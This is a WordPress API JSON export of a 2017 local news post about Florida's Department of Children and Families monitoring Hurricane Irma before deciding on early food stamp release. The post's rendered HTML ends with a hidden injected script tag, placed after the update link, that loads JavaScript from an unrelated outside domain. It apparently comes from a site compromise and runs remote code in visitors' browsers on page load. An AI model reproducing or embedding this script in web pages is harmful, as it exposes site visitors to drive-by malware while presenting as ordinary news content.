{"id":215231,"date":"2017-09-06T04:45:53","date_gmt":"2017-09-06T08:45:53","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host?p=215231&#038;preview=true&#038;preview_id=215231"},"modified":"2017-11-04T14:47:09","modified_gmt":"2017-11-04T18:47:09","slug":"dcf-monitoring-hurricane-irma-to-determine-early-release-of-food-stamp-benefits","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/dcf-monitoring-hurricane-irma-to-determine-early-release-of-food-stamp-benefits\/","title":{"rendered":"DCF Monitoring Hurricane Irma to Determine Early Release of Food Stamp Benefits"},"content":{"rendered":"<p><b>FLORIDA &#8211; <\/b>While Hurricane Irma makes her wy toward the Sunshine State, many residents are struggling to prepare by stocking up on water and non-perishable foods.<\/p>\n<p>However, some residents who rely on Food Stamps are wondering if their benefits will be released early as DCF did last year during Hurricane Matthew.<\/p>\n<p>The Department of Children and Families website announced in a notice that there has not been a decision whether or not benefits will be awarded early at this time.<\/p>\n<p>Visitors who visit the site can see the notice on the site&#8217;s homepage.<\/p>\n<blockquote>\n<h4 style=\"font-family: FertigoProRegular, Georgia, Times, &quot;Times New Roman&quot;, serif; margin: 0px; color: rgb(0, 51, 102); font-size: 13px; background-color: rgb(251, 251, 251);\">Attention:<\/h4>\n<p><span style=\"color: rgb(0, 51, 102); font-family: Arial, Verdana, Helvetica, sans-serif; font-size: 13px; background-color: rgb(251, 251, 251);\">The department is closely monitoring Hurricane Irma. There is no change in Food Assistance issuance dates at this time. Please check back for further updates.<\/span><\/p><\/blockquote>\n<p><span style=\"color: rgb(0, 51, 102); font-family: Arial, Verdana, Helvetica, sans-serif; font-size: 13px; background-color: rgb(251, 251, 251);\">Central Florida Wire will closely monitor any changes and report them as soon as they are available.<\/span><\/p>\n<p><b>UPDATE:&nbsp;<a href=\"https:\/\/wordpress-1.tempurl.host\/dcf-announces-release-of-food-stamp-benefits-within-48-hours-for-hurricane-irma-preparation\/\">DCF Announces Release of Food Stamp Benefits<\/a>.<\/b><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>FLORIDA &#8211; While Hurricane Irma makes her wy toward the Sunshine State, many residents are struggling to prepare by stocking up on water and non-perishable&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[211,325,2168,2922,6,1,7,11,2660,1734],"tags":[1006,1828,1829,57,436,1826,2923,1827],"class_list":["post-215231","post","type-post","status-publish","format-standard","hentry","category-citrus-county","category-florida-news","category-hillsborough-county","category-hurricane-irma","category-lake-county","category-local","category-marion-county","category-sumter-county","category-the-villages","category-weather","tag-assistance","tag-benefits","tag-dcf","tag-florida","tag-food","tag-food-stamps","tag-hurricane-irma","tag-snap","entry","rows"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/215231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=215231"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/215231\/revisions"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=215231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=215231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=215231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}